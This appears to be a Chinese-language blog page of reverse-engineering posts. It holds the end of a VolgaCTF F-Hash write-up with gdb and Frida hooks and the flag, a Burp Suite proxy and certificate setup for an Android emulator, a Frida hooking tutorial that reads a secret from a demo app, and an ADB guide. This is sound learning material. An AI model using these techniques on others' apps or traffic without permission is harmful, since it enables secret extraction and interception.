for a, b in zip(al, bl):
print(list(map(hex, calc(a, b)[256])))

GDB

另一個方法是我在賽後看 別人 用的,在 gdb 寫 python 去 hook 13B0 的開頭和結尾,在開頭判斷這組參數有沒有出現過了,跑過就把參數的 depth 設成 1 也就是 base case 讓他不要再往下遞迴了,而因為同一組函式的 Start, End Hook 沒辦法共享資訊,所以需要維護一個 state 來放目前的參數,在結尾的時候一樣是看這組參數有沒有出現過,有就把答案寫上去,沒有就把答案存起來下次就不會再跑一次了。

solve-gdb.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import gdb

def register(name):
return int(gdb.parse_and_eval(name))

def read(address, size):
inf = gdb.inferiors()[0]
return inf.read_memory(address, size).tobytes()

def write(address, buf):
inf = gdb.inferiors()[0]
inf.write_memory(address, buf)

memory = {}
state = []

class Start(gdb.Breakpoint):
def __init__(self, location):
super(Start, self).__init__(spec = location, type = gdb.BP_BREAKPOINT, internal = False, temporary = False)
def stop(self):
state.append((register('$rdi'), register('$rsi'), register('$rdx'), register('$rcx')))
if memory.get(state[-1][1:]) is not None:
gdb.execute('set $rsi = 1')

class End(gdb.Breakpoint):
def __init__(self, location):
super(End, self).__init__(spec = location, type = gdb.BP_BREAKPOINT, internal = False, temporary = False)
def stop(self):
global state
buf, h = state[-1][0], state[-1][1:]
if memory.get(h) is None:
memory[h] = (read(buf, 8), read(buf + 8, 8), read(buf + 16, 8))
else:
write(buf, memory[h][0])
write(buf + 8, memory[h][1])
write(buf + 16, memory[h][2])
state = state[:-1]

Start(f'*{0x0000555555554000 + 0x13b0}')
End(f'*{0x0000555555554000 + 0x1424}')

gdb f-hash 之後,在 gdb 裡面執行 source solve-gdb.py 就可以跑上面的程式碼了
或是也可以在執行 gdb 的時候就載入 gdb -x solve-gdb.py f-hash

Frida

這個方法也是我賽後看 別人 用的,frida 真的是好東西,之前剛好有研究一點 frida,第一次用在比賽中,基本上跟前一個解法一樣去 hook 函式的開頭和結尾,不過 frida 又更方便了,請看下面程式碼。

solve-frida.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
var base = ptr(Process.enumerateModulesSync()[0].base)
var recursive_func_ptr = base.add(0x13b0)

var mem = {}
Interceptor.attach(recursive_func_ptr, {
onEnter: function (args) {
this.buf = args[0]
this.hash = args[1] + '-' + args[2] + '-' + args[3]
if (mem[this.hash] !== undefined) {
args[1] = ptr(1)
}
},
onLeave: function (retval) {
if (mem[this.hash] === undefined) {
mem[this.hash] = [this.buf.readU64(), this.buf.add(8).readU64(), this.buf.add(16).readU64()]
} else {
this.buf.writeU64(mem[this.hash][0])
this.buf.add(8).writeU64(mem[this.hash][1])
this.buf.add(16).writeU64(mem[this.hash][2])
}
}
})

最後執行 frida --no-pause --runtime=v8 -l solve-frida.js ./f-hash 就可以了

Flag

1
VolgaCTF{16011432ba16efc8dcf779477985b3b9}

  1. https://github.com/OAlienO/CTF/tree/master/2020/VolgaCTF/F-Hash
  2. https://pastebin.com/Dj6wteXk
  3. https://sectt.github.io/writeups/Volga20/f-hash/README
Read more

【安卓逆向】透過 Burp Suite Proxy 夜神模擬器

前言

在上一篇 adb 的環境佈置中,我們是用 Android Emulator,但我想要 reverse 的 app 只有支援 arm ( 蠻多 app 都沒有支援 x86-64 的 ),而在我 x86-64 機器上的 Android Emulator 上開 arm 的虛擬機很慢,所以我就換用了 Nox Player,他同時支援 arm 跟 x86-64 的架構,速度也挺快的。

恩等等,我剛剛才發現原來 Nox Player 是在 VirtualBox 上面開一台虛擬機跑,傻眼。

怎麼知道這個 app 支援什麼

用 apktool 解開 apk 檔後,看 /lib 資料夾下面有哪些資料夾,可能會有 arm64-v8aarmeabi-v7ax86x86_64 等,這些就是這個 app 用到的函式庫,沒有對應架構的函式庫當然就是不支援了,或者有些 app 會將每個架構分開發佈,只要去下載對應架構的 app 就可以了。

adb 怎麼連上夜神模擬器

夜神模擬器預設會把 adb server 開在 port 62001, 62025, 62026, … ( 我不知道為什麽 62001 直接跳到 62025 )
所以 adb connect localhost:62001 就可以啦

Drony

主要是參考這篇 Android Hacking | Setup Global Proxy for All Apps in Android (without root) with Burp Suite
的教學,在使用 Drony 前,我還有用過另一款叫 ProxyDroid,不過沒成功,不知道出了什麼事。

基本流程是這樣的,因為 Drony 本身也是一個 proxy server,所以要先在 Android 的設定中將 proxy 導向到 Drony,然後在 Drony 的設定中將 proxy 導向主機的 Burp Suite。

第一步

打開 Android 的設定,照著下面這樣點
設定 > 無限與網路 > Wi-Fi > 你的 Wi-FI 的名字 ( 長按他 ) > 修改網路 > 顯示進階選項 > Proxy ( 手動 )
主機名稱填 127.0.0.1,通訊埠填 8020 ( Drony 預設的通訊埠 )

第二步

打開 Drony 的設置,照著下面這樣點
設置 > 網路 > 無線網路 > 你的 Wi-FI 的名字
代理類型選手冊 ( 也就是 Manual,真爛的翻譯 ),主機名稱填主機的 ip,通訊埠填 8080 ( Burp Suite 預設的通訊埠 )

怎麼找主機的 ip

主機基本上會是 Nox Player 的 default gateway ( 其實就是在 VirtualBox 的 NAT Mode ),所以下 adb shell ip route show 找到 default gateway 就是主機的 ip 了

完成

這樣就設定好啦,在日誌頁面把開關打開就可以了。

Burp Suite 憑證安裝

順便安裝一下 Burp Suite 的憑證,這樣就不會一直跳憑證問題了
先到 http://burp 下載 Burp Suite 的憑證,載下來是 der 副檔名的話,先把他改名成 cer 副檔名結尾
打開 Android 的設定,照著下面這樣點
設定 > 個人 > 安全性 > 憑證儲存空間 > 從 SD 卡安裝 ( 選 cacert.cer )
安裝的時候他會叫你設定一下 PIN 碼

Read more

【安卓逆向】Frida Hook 動態調試

今天我們要來練習用 frida 在 Android 上做動態調試

逆之呼吸壹之型 - 一般函式

先來寫個簡單的範例 APP
有一個按扭和一個輸入欄,輸入名字之後,按下按鈕,就會顯示 Hello 加上你輸入的名字
不會寫 APP 的小朋友可以先去 youtube 上找教學,有一大堆

MainActivity.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
package com.example.myapplication;

import androidx.appcompat.app.AppCompatActivity;

import android.os.Bundle;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.TextView;

public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);

Button sayButton = findViewById(R.id.sayButton);
sayButton.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
EditText somethingEditText = findViewById(R.id.somethingEditText);
TextView resultTextView = findViewById(R.id.resultTextView);
String something = somethingEditText.getText().toString();
resultTextView.setText(say(something));
}
});
}

String say (String something) {
return "Hello " + something;
}
}

python 負責呼叫 frida api 做注入,javascript 是被注入進去做事的
我們的目標是 hook 函式 say,並在原本的輸出文字後面加上 !!!

hook.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import frida

def on_message(message, payload):
print(message)

device = frida.get_usb_device()
pid = device.spawn(["com.example.myapplication"])
session = device.attach(pid)

with open("script.js") as f:
script = session.create_script(f.read())
script.on("message", on_message)
script.load()

device.resume(pid)

input()
script.js
1
2
3
4
5
6
7
Java.perform(() => {
main = Java.use("com.example.myapplication.MainActivity")
main.say.implementation = function (something) {
var ret = this.say(something)
return ret + '!!!'
}
})

逆之呼吸貳之型 - 重載函式

改一下範例 APP,多加上一個接受數字做輸入的 say 函式
接收到數字後,就輸出 Hello 加上輸入的數字的平方

MainActivity.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
package com.example.myapplication;

import androidx.appcompat.app.AppCompatActivity;

import android.os.Bundle;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.TextView;

public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);

Button sayButton = findViewById(R.id.sayButton);
sayButton.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
EditText somethingEditText = findViewById(R.id.somethingEditText);
TextView resultTextView = findViewById(R.id.resultTextView);
String something = somethingEditText.getText().toString();
try {
Integer number = Integer.parseInt(something);
resultTextView.setText(say(number));
} catch (NumberFormatException e) {
resultTextView.setText(say(something));
}
}
});
}

String say (String something) {
return "Hello " + something;
}

String say (Integer number) {
number = number * number;
return "Hello " + number.toString();
}
}

兩個 say 都是一樣的名字,所以 hook 的時候要用 overload 去區分,overload 參數放的是目標函式輸入參數的型態
這次我們在新的 say 函式的輸出文字後面加上 ???
hook.py 跟上一個例子一樣就不再貼一次了

script.js
1
2
3
4
5
6
7
8
9
10
11
Java.perform(() => {
main = Java.use("com.example.myapplication.MainActivity")
main.say.overload("java.lang.String").implementation = function (something) {
var ret = this.say(something)
return ret + '!!!'
}
main.say.overload("java.lang.Integer").implementation = function (number) {
var ret = this.say(number)
return ret + '???'
}
})

逆之呼吸參之型 - 隱藏函式

再改一下範例 APP,多加上一個變數 secret 和一個函式 getSecret,在 onCreate 裡面會給 secret 一個隨機值,我們的目標就是找出這個值

MainActivity.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
package com.example.myapplication;

import androidx.appcompat.app.AppCompatActivity;

import android.os.Bundle;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.TextView;

public class MainActivity extends AppCompatActivity {

private int secret;

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);

secret = (int) (Math.random() * 100);

Button sayButton = findViewById(R.id.sayButton);
sayButton.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
EditText somethingEditText = findViewById(R.id.somethingEditText);
TextView resultTextView = findViewById(R.id.resultTextView);
String something = somethingEditText.getText().toString();
try {
Integer number = Integer.parseInt(something);
resultTextView.setText(say(number));
} catch (NumberFormatException e) {
resultTextView.setText(say(something));
}
}
});
}

String say (String something) {
return "Hello " + something;
}


String say (Integer number) {
number = number * number;
return "Hello " + number.toString();
}

int getSecret () {
return secret;
}
}

因為我們的目標不是自己 new 一個物件出來抓 secret,這樣就只是一個我們自己就可以生成的隨機值而已
我們是要找出目前已經存在的那個 instance 的 secret,在實際例子中可能就會是一組隨機生成的密碼之類的
所以我們要用到 Java.choose 去抓 instance,抓到 instance 後,可以

  1. instance.getSecret() 呼叫函式搞定
  2. instance.secret.value 存取變數搞定

然後用 send 可以把資料傳到 python 端的 on_message 做處理

script.js
1
2
3
4
5
6
7
8
9
Java.perform(function () {
Java.choose("com.example.myapplication.MainActivity", {
onMatch: function (instance) {
send(instance.getSecret()) // call function
send(instance.secret.value) // access vairable
},
onComplete: function () {}
})
})

疑難雜症

Q : 有函式 a 跟變數 a 同名怎麼辦 ?
A : a 存取函式,_a 存取變數


  1. https://github.com/hookmaster/frida-all-in-one
  2. How to access class member variable if there’s a member function called the same name?
Read more

【安卓逆向】Android Studio Emulator + ADB 環境佈置

紀錄一下怎麼設定好一台 Android 的虛擬機

  1. 我是用 Android Studio 裡面的 Emulator,所以要先裝一下 Android Studio
  2. 打開 AVD Manager 後點 Create Virtual Device

  1. 選一個 device,比如 Pixel 3a
  2. 選一個 system image,比如 Pie
  3. 完成

ADB ( Android Debug Bridge )

路徑

在 Android SDK 的 platform-tools 裡面,用 macos 的話應該會在 /Users/xxx/Library/Android/sdk/platform-tools/
沒有的話可以去 官網

基本功能

指令 解釋
adb devices 列出所有裝置
adb root 用 root 權限重開 adb 服務
adb shell 互動式的 shell
adb shell "ls" 執行一行指令
adb push ./myfile /data/local/tmp/ 傳檔案進去
adb pull /data/local/tmp/myfile ./ 抓檔案出來
adb reboot 重開機,可以簡單粗暴的驗證有沒有設置成功

如果有多台裝置的話,要加 -s 指定哪一個裝置,比如 adb -s emulator-5554 shell

疑難雜症

Q : 遇到 adbd cannot run as root in production builds 怎麼辦 ?
A : 在選 image 的時候要選 target 是 Google APIs 的

Q : 怎麼卸載 system image ?
A : 打開 SDK Manager ( 在 AVD Manager 旁邊 ),勾選 Show Package Details,就可以看到下載過的 system image,取消勾選再按 OK 就卸載了

Q : 怎麼卸載 app ?
A : 除了麻瓜的方法外,也可以在 adb shell 拿到 shell 之後,用 pm list packages 看有哪些 app,再用 pm uninstall -k com.example.test_app 卸載 app

Q : 怎麼把 apk 抓出來?
A : 先用 pm path com.example.test_app 找出 apk 的路徑,再用 adb pull /data/app/com.example.test_app.apk ./ 抓出來

其他的 Android 虛擬機

如果你只是想玩遊戲的話,可以參考下面幾款模擬器

  1. BlueStacks
  2. NoxPlayer ( 夜神模擬器 )
  3. MemuPlay ( 逍遙模擬器 )
  4. 等等
Read more